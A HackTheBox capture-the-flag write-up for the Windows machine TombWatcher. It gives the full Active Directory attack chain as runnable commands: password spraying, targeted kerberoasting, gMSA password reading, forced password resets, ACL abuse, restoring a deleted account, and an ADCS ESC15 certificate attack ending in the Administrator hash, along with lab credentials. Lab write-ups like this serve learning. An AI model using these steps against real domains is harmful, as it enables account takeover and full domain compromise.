TombWatcher | HackTheBox

Overview

TitleTombWatcher
DifficultyMedium
MachineWindows
Makers &


Information Gathering

Scanned all TCP ports:

nmap -p- --min-rate 10000 -vv $IP -oA recon/nmap/ports
Nmap scan report for 10.129.232.167
Host is up, received syn-ack (0.26s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack
80/tcp    open  http             syn-ack
88/tcp    open  kerberos-sec     syn-ack
135/tcp   open  msrpc            syn-ack
139/tcp   open  netbios-ssn      syn-ack
389/tcp   open  ldap             syn-ack
445/tcp   open  microsoft-ds     syn-ack
464/tcp   open  kpasswd5         syn-ack
593/tcp   open  http-rpc-epmap   syn-ack
636/tcp   open  ldapssl          syn-ack
3268/tcp  open  globalcatLDAP    syn-ack
3269/tcp  open  globalcatLDAPssl syn-ack
5985/tcp  open  wsman            syn-ack
9389/tcp  open  adws             syn-ack
49666/tcp open  unknown          syn-ack
49693/tcp open  unknown          syn-ack
49694/tcp open  unknown          syn-ack
49696/tcp open  unknown          syn-ack
49716/tcp open  unknown          syn-ack
62287/tcp open  unknown          syn-ack

Enumerated open TCP ports:

nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV --min-rate 10000 $IP -oA recon/nmap/service
Nmap scan report for 10.129.232.167
Host is up, received syn-ack (0.23s latency).
Scanned at 2026-06-27 23:36:57 IST for 102s

PORT     STATE    SERVICE       REASON      VERSION
53/tcp   open     domain        syn-ack     Simple DNS Plus
80/tcp   filtered http          no-response
88/tcp   open     kerberos-sec  syn-ack     Microsoft Windows Kerberos (server time: 2026-06-27 22:12:19Z)
135/tcp  open     msrpc         syn-ack     Microsoft Windows RPC
139/tcp  open     netbios-ssn   syn-ack     Microsoft Windows netbios-ssn
389/tcp  open     ldap          syn-ack     Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-11-16T00:47:59
| Not valid after:  2025-11-16T00:47:59
| MD5:     a396 4dc0 104d 3c58 54e0 19e3 c2ae 0666
| SHA-1:   fe5e 76e2 d528 4a33 8adf c84e 92e3 900e 4234 ef9c
| SHA-256: 5128 aaea b79b bc06 762a 04d6 b475 4a21 a52c d1b1 205a 0440 85bd f5d6 2734 6ea9
| -----BEGIN CERTIFICATE-----
| MIIF9jCCBN6gAwIBAgITLgAAAAKKaXDNTUaJbgAAAAAAAjANBgkqhkiG9w0BAQUF
| ADBNMRMwEQYKCZImiZPyLGQBGRYDaHRiMRswGQYKCZImiZPyLGQBGRYLdG9tYndh
<--------------- SNIP ---------------->
| UVh/6C+B68hnPsCF3DZFpO80im6G311u4izntBMGqxIhnIAVYFlR2H+HlFS+J0zo
| x4qtaXNNmuaDW26OOtTf3FgylWUe5ji5MIq5UEupdOAI/xdwWV5M4gWFWZwNpSXG
| Xq2engKcrfy4900Q10HektLKjyuhvSdWuyDwGW1L34ZljqsDsqV1S0SE
|_-----END CERTIFICATE-----
|_ssl-date: 2026-06-27T22:13:50+00:00; +4h05m14s from scanner time.
445/tcp  open     microsoft-ds? syn-ack
464/tcp  open     kpasswd5?     syn-ack
593/tcp  open     ncacn_http    syn-ack     Microsoft Windows RPC over HTTP 1.0
636/tcp  filtered ldapssl       no-response
3268/tcp open     ldap          syn-ack     Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-06-27T22:13:50+00:00; +4h05m14s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-11-16T00:47:59
| Not valid after:  2025-11-16T00:47:59
| MD5:     a396 4dc0 104d 3c58 54e0 19e3 c2ae 0666
| SHA-1:   fe5e 76e2 d528 4a33 8adf c84e 92e3 900e 4234 ef9c
| SHA-256: 5128 aaea b79b bc06 762a 04d6 b475 4a21 a52c d1b1 205a 0440 85bd f5d6 2734 6ea9
| -----BEGIN CERTIFICATE-----
| MIIF9jCCBN6gAwIBAgITLgAAAAKKaXDNTUaJbgAAAAAAAjANBgkqhkiG9w0BAQUF
| ADBNMRMwEQYKCZImiZPyLGQBGRYDaHRiMRswGQYKCZImiZPyLGQBGRYLdG9tYndh
<--------------- SNIP ---------------->
| UVh/6C+B68hnPsCF3DZFpO80im6G311u4izntBMGqxIhnIAVYFlR2H+HlFS+J0zo
| x4qtaXNNmuaDW26OOtTf3FgylWUe5ji5MIq5UEupdOAI/xdwWV5M4gWFWZwNpSXG
| Xq2engKcrfy4900Q10HektLKjyuhvSdWuyDwGW1L34ZljqsDsqV1S0SE
|_-----END CERTIFICATE-----
3269/tcp open     ssl/ldap      syn-ack     Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-06-27T22:13:50+00:00; +4h05m15s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-11-16T00:47:59
| Not valid after:  2025-11-16T00:47:59
| MD5:     a396 4dc0 104d 3c58 54e0 19e3 c2ae 0666
| SHA-1:   fe5e 76e2 d528 4a33 8adf c84e 92e3 900e 4234 ef9c
| SHA-256: 5128 aaea b79b bc06 762a 04d6 b475 4a21 a52c d1b1 205a 0440 85bd f5d6 2734 6ea9
| -----BEGIN CERTIFICATE-----
| MIIF9jCCBN6gAwIBAgITLgAAAAKKaXDNTUaJbgAAAAAAAjANBgkqhkiG9w0BAQUF
| ADBNMRMwEQYKCZImiZPyLGQBGRYDaHRiMRswGQYKCZImiZPyLGQBGRYLdG9tYndh
<--------------- SNIP ---------------->
| UVh/6C+B68hnPsCF3DZFpO80im6G311u4izntBMGqxIhnIAVYFlR2H+HlFS+J0zo
| x4qtaXNNmuaDW26OOtTf3FgylWUe5ji5MIq5UEupdOAI/xdwWV5M4gWFWZwNpSXG
| Xq2engKcrfy4900Q10HektLKjyuhvSdWuyDwGW1L34ZljqsDsqV1S0SE
|_-----END CERTIFICATE-----
5985/tcp filtered wsman         no-response
9389/tcp open     mc-nmf        syn-ack     .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-06-27T22:13:11
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 52925/tcp): CLEAN (Timeout)
|   Check 2 (port 40660/tcp): CLEAN (Timeout)
|   Check 3 (port 60904/udp): CLEAN (Timeout)
|   Check 4 (port 33558/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 4h05m14s, deviation: 0s, median: 4h05m13s

Since this is an AD assumed breach scenario we have initial credentials to work with.

As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!

Let’s verify the credentials and generate hosts file using nxc (two birds with one command):

sudo nxc smb $IP -u henry -p 'H3nry_987TGV!' --generate-hosts-file /etc/hosts

The credentials are working.


Enumeration

SMB

Checking if we have access on any interesting shares.

nxc smb tombwatcher.htb -u henry -p 'H3nry_987TGV!' --shares

Nothing useful. I exported list of users available:

nxc smb tombwatcher.htb -u henry -p 'H3nry_987TGV!' --users-export users.txt

Rusthound

I used rusthound for collecting bloodhound data:

rusthound-ce -d tombwatcher.htb -u 'henry' -p 'H3nry_987TGV!' --zip

Password spray

We can do a password spray attack with the password we have and the available users:

faketime -f '+4.05h' kerbrute passwordspray --dc DC01.tombwatcher.htb -d tombwatcher.htb users.txt 'H3nry_987TGV!'

Bloodhound Enumeration

Henry have WriteSPN permission on Alfred

Can be abused using targeted kerberoasting.

Alfred have AddSelf over the groupinfrastructure

Members of infrastructure group have ReadGMSAPassword over the machine account ansible_dev$:

And ansible_dev$ have ForceChangePassword over user sam:

sam have WriteOwner over user john

We can abuse this by granting ourself genericAll. From there we can perform three attacks to get access to john:

  1. Targeted kerberoasting
  2. Shadow credentials
  3. Force change password

John is a member of Remote Management Users group so we can use winrm to login.

john also have genericAll over the OU ADCS.

I’m not sure how to exploit this further. So far this is the whole attack path we have figured out from bloodhound:

So let’s get started.

Attacking alfred

Targeted kerberoasting

We have WriteSPN permission so we can set spn and get a TGS and try to crack it. I’m setting the spn to tombwatcher/fakesvc:

bloodyad -d tombwatcher.htb -i $IP -u henry -p 'H3nry_987TGV!' set object 'Alfred' 'servicePrincipalName' -v 'tombwatcher/fakesvc'

Getting service ticket hash:

GetUserSPNs.py -dc-ip DC01.tombwatcher.htb tombwatcher.htb/henry:'H3nry_987TGV!' -outputfile kerberoastables.txt -request

Crack the password:

hashcat -a 0 kerberoastables.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

Let’s test the new credentials with nxc:

nxc smb tombwatcher.htb -u Alfred -p 'basketball'

Success!

Add alfred to the Infrastructure group

We can add new member to a group using bloodyad:

bloodyad -d tombwatcher.htb -i $IP -u alfred -p 'basketball' add groupMember Infrastructure alfred

Then verify this by running this command:

bloodyad -d tombwatcher.htb -i $IP -u alfred -p 'basketball' get membership alfred

Read GMSA password for ansible_dev$

I’m using gMSADumper.py to read the GMSA Password:

gmsadumper -u alfred -p basketball -d tombwatcher.htb

Let’s quickly check if the NTLM can be cracked:

Turns out it’s not, but still we can use the hash:

faketime -f '+4.05h' nxc smb tombwatcher.htb -u 'ansible_dev$' --aesKey '3eafb50e4a2d0982e7f8ac906387f812703bab1a23d300d5cb450639bb359f7b'

And it’s working

Attacking sam

Abusing ForceChangePassword

Let’s request a TGT for ansible_dev$ first:

faketime -f '+4.05h' getTGT.py -dc-ip DC01.tombwatcher.htb 'tombwatcher/ansible_dev$' -aesKey '3eafb50e4a2d0982e7f8ac906387f812703bab1a23d300d5cb450639bb359f7b'

Now we can use this with bloodyad to reset the password of sam:

KRB5CCNAME=./ansible_dev\$.ccache faketime -f '+4.05h' bloodyad -d tombwatcher.htb -i $IP -k -H DC01.tombwatcher.htb -u 'ansible_dev$' msldap changeuserpw 'CN=SAM,CN=USERS,DC=TOMBWATCHER,DC=HTB' 'Password@123'

Verify the new password:

nxc smb tombwatcher.htb -u 'sam' -p 'Password@123'

Attacking john

Add ownership for john

sam have write owner permission over user john. We can set sam as the owner using bloodyad:

bloodyad -d tombwatcher.htb -i $IP -u 'sam' -p 'Password@123' set owner john sam

We now have writeDacl over john:

bloodyad -d tombwatcher.htb -i $IP -u 'sam' -p 'Password@123' get writable

Granting genericAll

With this we can grant user sam the genericAll permission over user john

bloodyad -d tombwatcher.htb -i $IP -u 'sam' -p 'Password@123' add genericAll john sam

Resetting password of john

And as I mentioned before we can abuse this in three different ways, this time I’ll change the password (not very opsec friendly):

bloodyad -d tombwatcher.htb -i $IP -u 'sam' -p 'Password@123' set password john 'Password@123'

Again verify the new credentials

nxc smb tombwatcher.htb -u 'john' -p 'Password@123'

Shell as john

Since john is a member of the Remote Management Users we can use winrm to login and get shell access:

evil-winrm -i DC01.tombwatcher.htb -u john -p 'Password@123'

Auth as Domain Admin

Restoring cert_admin

User john have write permission on OU ADCS and a deleted user cert_admin:

bloodyad -d tombwatcher.htb -i $IP -u 'john' -p 'Password@123' get writable

After enumerating the available certificate templates, one of the template shows an SID that’s not resolving to any user or machine account:

certipy find -u john@tombwatcher.htb -p 'Password@123' -stdout

An object with SID S-1-5-21-1392491010-1358638721-2126982587-1111 have enrollment rights for the WebServer rights. I would like to corelate this with the deleted user we saw earlier. Let’s verify it using bloodyad:

bloodyad -d tombwatcher.htb -i $IP -u 'john' -p 'Password@123' get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065 --attr sAMAccountName,objectCategory,objectSid --base 'CN=Deleted Objects,DC=tombwatcher,DC=htb' --filter '(isDeleted=TRUE)'

In one of the object we can see the above SID:

Let’s restore the deleted object:

bloodyad -d tombwatcher.htb -i $IP -u 'john' -p 'Password@123' set restore 'CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb'

Changing cert_admin password

Since we have write access on cert_admin, we can change the password:

bloodyad -d tombwatcher.htb -i $IP -u 'john' -p 'Password@123' set password 'cert_admin' 'Password@123'

Let’s run certipy again:

certipy find -u cert_admin@tombwatcher.htb -p 'Password@123' -vulnerable -stdout

We see that this template is vulnerable to ESC15

Exploiting ESC15 aka “EKUwu”

About ESC15

Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the WebServer template.

An EKU or Extended Key Usage attribute in a template specifies what the certificate can be used for. For example, there are Server Authentication, Client Authentication, Code Signing, Email Protection, etc. Each of these is represented by its OID. OID for Client Authentication is 1.3.6.1.5.5.7.3.2. A template can be restricted to specific enrollment rights. A template used for codesigning cannot be used for client authentication. This is the assumption that’s broken in ESC15.

This attack only works if these three things are met:

  1. Template must be using Schema Version 1
  2. It must have EnrolleeSuppliesSubject (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) enabled
  3. The server must be vulnerable to CVE-2024-49019

If these requirements are met, we can create a malicious CSR request and inject any application policy OID like “Client Authentication” and send it to the server. Even if the target template is not allowed to issue certificate for the extension we provide, the CA will not override, strip, or validate it.

There are 2 methods for exploiting this which explained well in the certipy wiki. For some reasons the first method was not working. So we’ll exploit this using the second method.

First send a request a certificate with “Certificate Request Agent”, which injects the OID 1.3.6.1.4.1.311.20.2.1:

faketime -f '+4.05h' certipy req -u 'cert_admin@tombwatcher.htb' -p 'Password@123' -dc-ip $IP -template WebServer -application-policies "Certificate Request Agent" -ca tombwatcher-CA-1 -target DC01.tombwatcher.htb -debug

We can use the agent certificate to request a certifcate on behalf of another user, in our case the Administrator:

faketime -f '+4.05h' certipy req -u 'cert_admin@tombwatcher.htb' -p 'Password@123' -dc-ip $IP -template User -ca tombwatcher-CA-1 -target DC01.tombwatcher.htb -pfx cert_admin.pfx -on-behalf-of 'TOMBWATCHER\Administrator' -debug

Now we can use the certificate to get the hash of the Administrator:

faketime -f '+4.05h' certipy auth -pfx administrator.pfx -dc-ip $IP -debug

We can use the hash to login via winrm and read the flag:

evil-winrm -i DC01.tombwatcher.htb -u Administrator -H f61db423bebe3328d33af26741afe5fc

References

updated at 2026-06-28